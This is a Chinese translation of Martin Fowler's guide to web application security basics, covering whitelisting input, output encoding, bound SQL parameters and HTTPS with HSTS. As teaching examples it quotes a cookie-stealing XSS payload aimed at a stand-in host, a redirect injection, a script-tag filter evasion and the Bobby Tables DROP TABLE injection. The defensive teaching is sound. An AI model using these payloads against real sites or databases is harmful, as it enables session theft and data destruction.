[译] Martin Fowler - Web 应用安全基础

Github Repo:https://github.com/wxyyxc1992/infosecurity-handbook/blob/master/Reinforce/WebSecurity/basics-of-web-application-security.md
原文:The Basics of Web Application Securityphp

现代的软件开发者已经有点像瑞士军刀了,首先,你须要来保证完成用户的功能或者业务需求,而且要保证又快又好地完成。其次,你但愿你的代码可以拥有充分的可理解性或者可扩展性:可以随着IT需求的快速变迁而有着充分的扩展空间,与此同时还须要稳定与可用。开发者必须列举出有用的接口,优化数据库,以及频繁地创建或者维护一个交付渠道。不过,当咱们审视这长长的需求列表的时候,在快速、低成本以及灵活可扩展之下的,便是安全性。或许直到一些东西出了问题,或者你构建的系统被攻击了以后才能深入感觉到安全才是最重要的。安全这个概念有点像性能,是个泛化的跨越了多个领域的概念。因此一个开发者怎么才能在模糊的安全需求与未知的风险面前选择合适的开发规划呢?固然若是可以明确这些安全需求与定位到威胁的话毫无疑问很是值得推荐,可是这个准备自己就须要耗费大量的时间与金钱。html

Trust(信赖)

首先,在讨论具体的输入输出以前,咱们须要来强调下自认为安全中最重要也是最根本的原则:Trust。做为一个开发者,也须要不断地问本身,咱们相信来自于用户浏览器的请求吗?咱们相信上游系统正常工做来保证了咱们数据的干净与安全吗?咱们相信服务器与浏览器之间的信道就不会被监听或者伪造吗?咱们相信咱们系统自己依赖的服务或者数据存储吗?呵呵,都不可信。git

固然,就像安全同样,Trust也不是一个双选题,非黑即白。咱们须要明白系统的风险忍受力与数据的安全边界。为了可以正确的、基于某个统一规则的预估,咱们须要审视威胁与风险,这个评估方法与标准会在另外一篇文章中讲解。github

Reject Unexpected Form Input(拒绝未知的表单输入)

HTML表单自己就可能带来些好像很安全的错觉,表单的构建者确定以为他们限制了输入类型、作了数据校验,这样整个表单输入就是安全的。但确信无疑的是,这只是个错觉,尽管客户端地JavaScript脚本能够从安全地角度来讲提供完整的校验。web

Untrusted Input

不管咱们是否在客户端提供了表单验证或者是否使用了HTTPs链接,咱们可以信赖来自用户浏览器的链接的比例都是0。用户能够轻易地在发送以前修改标记,或者使用相似于curl这样的命令行来提交没有通过校验的数据。乃至于一个不明因此的用户可能在一个怀有恶意的网站莫名其妙地添了些内容。浏览器的同源策略并不可以避免来自于恶意站点的提交。为了保证输入数据的完整性,服务器端务必要进行数据校验。算法

不过估计有人有疑问了,为啥说这个畸形的数据就会致使安全问题呢?这每每取决于你的应用业务逻辑与输出的编码,为了不不可预知的行为、数据泄露与潜在攻击,须要在输入的数据与可执行代码之间架构一个过滤层。譬如,咱们的表单里有一个选择的按钮来容许用户选择合适的通讯类型,咱们的业务逻辑代码多是这样的:数据库

final String communicationType = req.getParameter("communicationType");
if ("email".equals(communicationType)) {
    sendByEmail();
} else if ("text".equals(communicationType)) {
    sendByText();
} else {
    sendError(resp, format("Can't send by type %s", communicationType));
}

上面代码危不危险取决于sendError这个方法是怎么定义的,而咱们确定没法肯定下游的代码就必定是安全的。最好的选择就是咱们在控制流中移除这个危险,而使用的方法就是输入验证。浏览器

Input Validation

输入验证便是保证明际输入与应用预期的输入的一致性。超出预期的输入数据会致使咱们系统抛出未知的结果,譬如逻辑崩坏、触发错误乃至于容许攻击者控制系统的一部分。其中像数据库查询这样的可以在服务端做为可执行代码的输入与JavaScript这样在客户端可以被执行的代码更是特别的危险。所以验证输入时保证系统安全性与防卫危险的第一道防线。缓存

开发者们在构建应用系统的过程当中会进行一些基本的验证,譬如判断值是否为空或者是否为正数。而从安全的角度考虑,咱们须要将输入限定到系统容许的最小集合中,譬如数值型值能够被限定在某个特定的范围内。譬如,系统不会容许用户将一个负值添加到购物车中。这种限制性的验证手段就是所谓的positive validation或者whitelisting。一个白名单能够用于限定某个具体的URL或者yyyy/mm/dd这样的时间日期。它能够限制输入的长度、单个字符的编码规范或者上面例子中的只有给定值能够被接受。安全

另一种考虑输入验证的思惟角度就是把它当作服务端与消费者之间签定的一种协议,任何违背了这个协议的请求都是无效的而且被拒绝。你的这个协议越严格,你的系统在未知状况下遭受的风险就会越小。而当对于某个输入验证失败以后,开发者也要好好考虑应该如何反馈。最严格,也是最有争议的办法就是所有拒绝,而且没有任何反馈,不过要注意将这个事情经过日志或者监控记录下来。不过为啥一点反馈都没有呢?咱们须要提供给用户哪些信息是无效的吗?这一点仍是要取决于你的约定。在上面的例子中,若是你接收到了除了email或者text以外的内容,那你有可能被攻击了。不过若是你进行了反馈,可能正中全套。譬如若是开发者直接返回:俺们并不认识你传入的communicationType,可能这个还无伤大雅,可是若是是这样的呢:

<script>new Image().src = ‘http://evil.martinfowler.com/steal?' + document.cookie</script>

这种状况下你就会面临一个用来盗取你的Cookies的XSS攻击代码,若是你必定要给用户反馈,你必须保证不会把不受信任的用户内容直接返回,而应该使用固定的提示信息。若是你不可避免地要把用户的输入反馈回去,你要保证它是被编码的。

In Practice

实践中,咱们常常要经过过滤<script>标签来避免一些攻击,过滤掉这些包含着危险值的输入的方法就是所谓的negative validation 或者blacklisting。不过这种方法的麻烦之处在于潜在的危险输入是至关多的,不少时候不能胜数。维持一个庞大的危险输入的列表多是耗费较大的操做,这须要进行频繁地更新。若是你真的须要一个黑名单,这就须要覆盖你全部的测试用例,编写高质量的测试代码,遵循OWASP的XSS_Filter_Evasion_Cheat_Sheet原则。

对于危险输入的过滤,咱们经常称之为sanitization,便是在输入中移除那些黑名单中的元素而不是直接拒绝。不过这种黑名单机制,很难保证彻底正确,每每也会给攻击者更多地漏洞机会。譬如,在上面的例子中,咱们是选择移除<script>标签,而一个攻击者能够经过输入下面这样的字符串来逃避检查:

<scr<script>ipt>

在现代的Web应用程序开发中,已经有不少现成的框架提供了基础的过滤功能。内建的对于邮件地址、信用卡号码等等过滤仍是灰常好用的,使用这些网络框架提供的验证机制能够有效避免一些严重的错误,譬如:

Framework Approaches
Java Hibernate (Bean Validation)
ESAPI
Spring Built-in type safe params in Controller
Built-in Validator interface (Bean Validation)
Ruby on Rails Built-in Active Record Validators
ASP.NET Built-in Validation (see BaseValidator)
Play Built-in Validator
Generic JavaScript xss-filters
NodeJS validator-js
General Regex-based validation on application inputs

In Summary

  • 尽量地使用白名单

  • 在不能用白名单的时候用黑名单

  • 尽量地使用严格约定

  • 确保警示潜在的攻击

  • 避免直接地输入反馈

  • 尽量地在不可信数据深刻系统逻辑以前进行处理,或者直接使用你的框架的白名单机制

Encode HTML Output:HTML输出内容编码

除了上述所说的对于输入的过滤与限制以外,Web应用的开发者还须要关注返回的数据。一个现代的Web应用每每会用HTML标记来构建文档结构,用CSS来构建文档样式,JavaScript来构建应用逻辑。一个HTML文档一般使用像<script>或者<style>这样的标记来进行切割。用户可能在没料到的地方使用尖括号,特别是在一个可执行的上下文中附着一些特定内容,譬如HTML与JavaScript都会包含URL,只不过它们各有各的处理方法。

Output Risks

HTML自己是一个很是很是宽松自由的格式,浏览器会尽量地来渲染内容,即便发现了些格式错误。这一点对于开发者很是友好,不过这也是一个很大的漏洞的源泉。攻击者可能在向你的页面中注入一些内容来打破可执行的上下文,甚至不须要考虑整个页面是否有效。处理输出内容并不必定是安全地考虑,应用从数据库与上游服务中获取的渲染数据务必保证不会影响到整个应用,不过从不可信的数据源获得的渲染内容仍是会存在很大的风险。就如上文所说的,开发者应该拒绝那些超出约定的输入,不过有时候咱们不可避免的须要接收像尖括号那样的可能更改咱们的代码的内容,这也就是下面所说的output encoding所须要起做用的地方。

Output Encoding

输出编码便是将输出的数据流转化为最终的输出的格式,输出编码的难点或者复杂的地方在于须要根据输出数据流向的不一样选定不一样的编码方式。若是没有合适的编码方式,应用可能会给客户端提供一个错误格式的数据,致使输出数据不可用乃至于存在必定风险。攻击者每每会利用错误的编码方式中的漏洞使得整个输出数据的结构失控。譬如在咱们的电商系统中有个用户叫作Sandra Day O'Connor,系统会在该用户登陆的时候输出一个欢迎辞,那么当她的名字渲染到HTML页面上的时候,效果大概是这样的:

<p>The Honorable Justice Sandra Day O'Connor</p>

The Honorable Justice Sandra Day O'Connor

开发者指望的正是这样渲染得出的界面,不过若是咱们是基于MVC架构开发出了一个动态网页,名字会经过JS脚本动态地插入到页面中,示例代码以下:

document.getElementById('name').innerText = 'Sandra Day O'Connor' //<--unescaped string

而这样的代码正是攻击者们孜孜不倦寻找的漏洞点来执行他们的自定义代码,若是另外一个用户Chief Justice这样的输入他的名字:

Sandra Day O';window.location='http://evil.martinfowler.com/';

那么全部看到他名字页面的用户都会被重定向到一个危险的站点,而若是咱们应用正确地在这个JS上下文中进行了编码,整个编码以后的文本以下所示:

'Sandra Day O\';window.location=\'http://evil.martinfowler.com/\';'

那么整个文本虽然看上去有点杂乱,可是已经变成了没有任何危害的不可执行的代码。通常来讲咱们有不少种方式能够来对JS进行编码,最多见的就是使用转义字符。

好消息是绝大部分现代Web框架都提供了将内容安全编码与过滤保留字符的功能。不过大部分开发者会忽略乃至于主动关闭这种过滤编码功能从而去执行他们自认为的安全的可执行代码。

Cautions and Caveats

关于输出编码这部分还有几个须要了解的地方,重要的事情多强调几遍,必定要选择一个自带编码功能的框架。另外还须要注意的是,尽管一个框架能够安全地渲染HTML,也不表明他能够安全地渲染PDF或者JavaScript。

另外一个咱们在应用开发过程当中常常遇到的状况,就是不少开发者习惯在获取用户的原始输入后进行编码而后存入数据库中。譬如若是你在将数据入库以前就把纯文本格式的数据编码成HTML格式,而后在须要渲染成其余格式的地方还须要先把HTML反编码而后再编译成其余格式。这无故会增长不少复杂性和额外的工做,所以最好直接以原始数据格式存入到数据库中,而后在渲染时在将它们进行编码。

In Summary

  • 以合适的编码手段对全部从应用中吐出的数据进行编码

  • 尽量地使用框架提供的输出编码功能

  • 尽可能避免嵌入式渲染上下文

  • 以原始格式存放数据,在渲染时进行编码

  • 避免使用不安全的框架与规避了编码的JS调用

Bind Parameters for Database Queries

无论你是用SQL在一个关系型数据库中进行查询,仍是用ORM框架,或者直接使用一个NoSQL数据库,你都须要考虑到怎么把用户输入的数据集成进你的查询语句中。数据库多是一个Web应用程序中最关键与紧要的部分,由于它存放了大量的没法重现的状态数据。譬如一个数据库中可能存放着大量的关键的与敏感的客户信息,也正是这些数据驱动着整个应用与逻辑的运行。所以你确定但愿开发者在和数据库打交道的时候要慎之又慎,不过数据库注入攻击仍是很盛行啊。

Little Bobby Tables

不少关于数据库中参数绑定的讨论都会包含著名的2007年的Little Bobby Tables事件,这个事件能够用一个漫画描述以下:

为了便于分析这个漫画所要表达的含义,咱们假设这个成绩追踪系统有一个用于增长新的学生信息的函数:

void addStudent(String lastName, String firstName) {
        String query = "INSERT INTO students (last_name, first_name) VALUES ('"
                + lastName + "', '" + firstName + "')";
        getConnection().createStatement().execute(query);
}

若是输入的参数是"Fowler"与"Martin",那么最终构造出的SQL语句为:

INSERT INTO students (last_name, first_name) VALUES ('Fowler', 'Martin')

不过若是输入的是上面那娃的名字,那么整个待执行的SQL语句就变成了:

INSERT INTO students (last_name, first_name) VALUES ('XKCD', 'Robert’); DROP TABLE Students;-- ')

实际上,这个SQL语句一共执行了两个操做:

INSERT INTO students (last_name, first_name) VALUES ('XKCD', 'Robert')

DROP TABLE Students

最后的--注释是为了屏蔽余下的内容,保证整个SQL语句可以稳定执行。相似于这样的攻击载荷可以执行任意的SQL语句,换言之,攻击者可以在数据库内像这个应用系统同样作任何事情。

采用参数绑定来解决这个问题

对于上文描述的这种场景,若是只是依赖于简单的清洗过滤,确定没法应付全部的攻击载荷,这也不是一个正道。基本上可以采起的方法就是所谓的参数绑定,譬如JDBC中提供的PreparedStatement.setXXX()方法,参数绑定能够将像SQL这样的可执行代码与须要进行编码、过滤的内容区分开来:

void addStudent(String lastName, String firstName) {
        PreparedStatement stmt = getConnection().prepareStatement("INSERT INTO students (last_name, first_name) VALUES (?, ?)");
        stmt.setString(1, lastName);
        stmt.setString(2, firstName);
        stmt.execute();
 }

通常来讲,一个功能比较全面地数据访问层都会提供这种参数绑定的功能,开发者在开发的时候就要注意将全部的不受信任的输入经过参数绑定生成SQL语句。

Clean and Safe Code

有时候咱们开发时会遇到一个两难的问题,便是好的安全性与干净整洁的代码之间的冲突。为了保证安全性每每须要咱们增长些额外的代码,不过在上面的例子中咱们仍是同时达成了较高的安全性与好的代码设计。使用绑定的参数不只能使应用系统免于注入攻击,还能经过在代码与内容之间构建清晰的边界来增长整个代码的可读性,而且与手动拼接相比还能大大简化构造可用的SQL的过程。当你用参数绑定来代替本来的格式化字符串或者字符串拼接来构造SQL的时候,你会发现还能用全局的绑定方程来完成这一工做,这又会大大增长整个代码的整洁度与安全性。

Common Misconceptions

有一个常见的错误思惟就是以为存储过程可以避免SQL注入攻击,可是这个只有在你是经过参数绑定的方式传入参数的状况下。若是存储过程自己也是用的字符串链接的方式,那么一样存在SQL注入攻击的风险。相似的,像ActiveRecord、Hibernate或者.Net Entity这样的框架,也是只有在用参数绑定来构造SQL的状况下才会进行SQL注入清洗。

最后,还有一个常见的错觉就是NoSQL数据库不会被SQL注入攻击影响。这确定是不对的,全部的查询语言,不管是否是SQL都须要在可执行代码与输入的内容之间划定明晰的边界来防止参数混淆可执行的命令。攻击者会不停寻找可以在运行时打破这种边界隔离的方法从而进行潜在的攻击。即便是Mongodb,采用了二进制的协议与多种语言特定的API都会存在被注入的风险,譬如$where这个操做符。

Parameter Binding Functions

Framework Encoded Dangerous
Raw JDBC Connection.prepareStatement() used with setXXX() methods and bound parameters for all input. Any query or update method called with string concatenation rather than binding.
PHP / MySQLi prepare() used with bind_param for all input. Any query or update method called with string concatenation rather than binding.
MongoDB Basic CRUD operations such as find(), insert(), with BSON document field names controlled by application. Operations, including find, when field names are allowed to be determined by untrusted data or use of Mongo operations such as "$where" that allow arbitrary JavaScript conditions.
Cassandra Session.prepare used with BoundStatement and bound parameters for all input. Any query or update method called with string concatenation rather than binding.
Hibernate / JPA Use SQL or JPQL/OQL with bound parameters via setParameter Any query or update method called with string concatenation rather than binding.
ActiveRecord Condition functions (find_by, where) if used with hashes or bound parameters, eg: where (foo: bar)where ("foo = ?", bar) Condition functions used with string concatenation or interpolation: where("foo = '#{bar}'")where("foo = '" + bar + "'")

In Summary

  • 避免直接从用户的输入中构建出SQL或者等价的NoSQL查询语句

  • 在查询语句与存储过程当中都使用参数绑定

  • 尽量使用框架提供好的原生的绑定方法而不是用你本身的编码方法

  • 不要以为存储过程或者ORM框架能够帮到你,你仍是须要手动调用存储过程

  • NoSQL 也存在着注入的危险

Protect Data in Transit

当咱们着眼于系统的输入输出的时候,还有另外一个重要的店须要考虑进去,就是传输过程当中数据的保密性与完整性。在使用原始的HTTP链接的时候,由于服务器与用户之间是直接进行的明文传输,致使了用户面临着不少的风险与威胁。攻击者能够用中间人攻击来轻易的截获或者篡改传输的数据。攻击者想要作些什么并无任何的限制,包括窃取用户的Session信息、注入有害的代码等,乃至于修改用户传送至服务器的数据。

咱们并不能替用户选择所使用的网络,他们颇有可能使用一个开放的,任何人均可以窃听的网络,譬如一个咖啡馆或者机场里面的开放WiFi网络。普通的用户颇有可能被欺骗地随便连上一个叫免费热点的网络,或者使用一个能够随便被插入广告的网路当中。若是攻击者会窃听或者篡改网路中的数据,那么用户与服务器交换的数据就好不可信了,幸亏咱们还可使用HTTPS来保证传输的安全性。

HTTPS and Transport Layer Security

HTTPS最先主要用于相似于经融这样的安全要求较高的敏感网络,不过如今日渐被各类各样的网站锁使用,譬如咱们经常使用的社交网络或者搜索引擎。HTTPS协议使用的是TLS协议,一个优于SSL协议的标准来保障通讯安全。只要配置与使用得当,就能有效抵御窃听与篡改,从而有效保护咱们将要去访问的网站。用更加技术化的方式说,HTTPS可以有效保障数据机密性与完整性,而且可以完成用户端与客户端的双重验证。

随着面临的风险日渐增多,咱们应该将全部的网络数据当作敏感数据而且进行加密传输。已经有不少的浏览器厂商宣称要废弃全部的非HTTPS的请求,乃至于当用户访问非HTTPS的网站的时候给出明确的提示。不少基于HTTP/2的实现都只支持基于TLS的通讯,因此咱们如今更应当在所有地方使用HTTPS。

目前若是要大范围推广使用HTTPS仍是有一些障碍的,在一个很长的时间范围内使用HTTPS会被认为形成不少的计算资源的浪费,不过随着现代硬件与浏览器的发展,这点计算资源已经不足为道。早期的SSL协议与TLS协议只支持一个IP地址分配一个整数,不过如今这种限制所谓的SNI的协议扩展来解决。另外,从一个证书认证机构获取证书也会打消一些用户使用HTTPS的念头,不过下面咱们介绍的像Let's Encrypt这样的免费的服务就能够打破这种障碍。

Get a Server Certificate

对于网站的安全认证依赖于TLS的底层的支持,若是客户端只是根据网站说它本身是谁就是谁,那么攻击者能够轻易的使用中间人攻击来模拟站点,从而绕过全部协议提供的安全机制。在使用了TLS协议以后,一个网站能够用它的公钥证书来证实它本身是谁。在某些系统中客户端也须要用公钥证书证实本身是谁,不过大部分状况下受限于为用户管理证书的复杂性,这个并无普遍使用。除非一个网站证书的真实性已经通过了验证,否则客户端在收到一个证书的时候也要经过必定的手段来验证证书的真实性。而在Web浏览器或者其余的应用中,每每是经过一个第三方的称做CA的机构来管理证书而且提供验证功能,包括验证这个证书与证书所属网站的真实性。

若是咱们经过其余渠道已经可以提早得知某个证书是否可信,那也就不必再通过第三方机构进行仲裁。譬如一个移动APP或者其余应用在分发的时候就会内置一些证书从而在使用时来验证站点是否真实可信。大部分关于HTTPS是否可信的指示会在浏览器访问某个HTTPS的站点的时候显示出来,若是没有的话浏览器会显示一个告警信息来警告用户不要访问不可信的站点。

在测试的时候咱们能够本身建立配置一个证书用于HTTPS认证,不过若是你要提供服务给普通用户使用,那么仍是须要从可信的第三方CA机构来获取可信的证书。对于不少开发者而言,一个免费的CA证书是个不错的选择。当你搜索CA的时候,你可能会遇到几个不一样等级的证书。最多见的就是Domain Validation(DV),用于认证一个域名的全部者。再往上就是所谓的Organization Validation(OV)与Extended Validation(EV),包括了验证这些证书的请求机构的信息。虽然高级别的证书须要额外的消耗,不过仍是很值得的。

Configure Your Server

当你申请到了证书以后,你就能够开始配置你的服务器支持HTTPS了。虽然HTTPS啊,包括TLS/SSL的原理好像要个密码学的PHD学位才能理解,可是要把他们配置着用起来仍是很容易的呦。不一样的加密算法与站点使用的协议的版本差别会大大影响到它可以提供的通讯的安全级别。因此咋才能一方面保证咱们站点的安全性另外一方面又保证那些使用老版本的浏览器的用户也能正常使用网站服务呢?这里要推荐下Mozilla提供的Security/Server Side TLS工具,能够协助来自动建立适用的Web服务器的配置。

Use HTTPS for Everything

如今咱们常常碰到一些网站仅仅只用HTTPS来保护部分资源,有些状况下只会保护一些对于敏感资源的提交操做。另外一些状况下,部分网站只会将HTTPS用于自认为敏感的资源上,譬如一个用户登陆以后才能见到的东西每每是HTTPS加密的。而如今的麻烦事还有不少站点并未使用HTTPS来保护本身,致使整个网站还处于被中间人攻击的危险之下。笔者非常建议这类网站应该直接关闭掉HTTP端口从而强制性让用户转到HTTPS,虽然这并非一个理想的解决方案,不过估计是最好的解决方法。

若是是在Web浏览器中呈现的资源,那能够添加一个HTTP请求转发的配置,来将全部的HTTP请求转发到HTTPS端口上,譬如:

# Redirect requests to /content to use HTTPS (mod_rewrite is required)
RewriteEngine On
RewriteCond %{HTTPS} != on [NC]
RewriteCond %{REQUEST_URI} ^/content(/.*)?
RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [R,L]

Use HSTS

让用户从HTTP迁移到HTTPS能够来避免使用原始的HTTP请求带来的风险。为了帮助站点把用户从HTTP迁移到HTTPS,现代的浏览器支持一个很是强力的安全特征叫作HSTS(HTTP Strict Transport Security),来告诉浏览器我这个站点只会接收来自于HTTPS的请求。这个特性最先来自于2009年的Moxie Marlinspike's提出的一个用于演示基于HTTP的潜在危险的SSL剥离攻击。能够用以下的设置来启用这个特性:

Strict-Transport-Security: max-age=15768000

上述的设置会告诉浏览器只和使用HTTPS的站点进行交互,HSTS是一个很是重要的强制使用HTTPS的特性。一旦开启以后,浏览器会自动把不安全的HTTP请求切换到HTTPS,尽管用户没有显式的输入"https://"。而在浏览器端开启HSTS特性只须要添加以下的一行代码:

<VirtualHost *:443>
    ...

    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
</VirtualHost>

不过如今并非全部的浏览器都支持HSTS特性,你能够经过访问 Can I use. 来看看你面向的用户经常使用的浏览器能不能使用。

Protect Cookies

浏览器目前有内建的安全机制来避免包含敏感信息的Cookie暴露出来。在Cookie中设置secure标识位可以强制让浏览器只会用HTTPS来传递Cookie,若是你已经使用了HSTS也要记得这样设置来保护Cookie。

Other Risks

即便你全站都用了HTTPS,也仍是有几个地方可能致使敏感信息的泄露的。譬如若是你直接把敏感数据放在URL里面,而后这个敏感的URL又被缓存在了浏览器的历史记录里。除此以后,若是包含了敏感信息的站点被连接到了其余的网站中,那么在用户点击连接以后整个敏感数据就会被放在Referer Header中而后传送过去,而后就呵呵了。另外,有时候由于你们都懂的缘由咱们会使用一些代理而后容许他们监控HTTPS的流量,也是有危险地,这个时候就要在Header中来关闭缓存从而下降风险。笔者建议你能够参考OWASP Transport Protection Layer Cheat Sheet 来收获一些有用的建议。

Verify Your Configuration

最后一步,你要仔细验证你的配置是否有效。有不少的在线工具能够帮你作这件事,譬如SSL Lab的SSL Server Test可以帮你深度分析你的HTTPS的配置,再看看是否是有啥地方配错了。这个工具会在发现了新的攻击手段与协议更新以后实时更新,因此多用用它仍是个很不错的事情嗷。

In Summary

  • 啥地方都要用HTTPS

  • 采用HSTS来强制使用HTTPS

  • 别忘了从可信的证书机构中请求可信证书

  • 不要乱放你的私钥

  • 用合理的配置工具来生成可靠地HTTPS配置

  • 在Cookie中设置"secure"标识

  • 不要把敏感的数据放在URL中

  • 隔一段时间就要好好看看你的HTTPS的配置,表过期了

相关文章
相关标签/搜索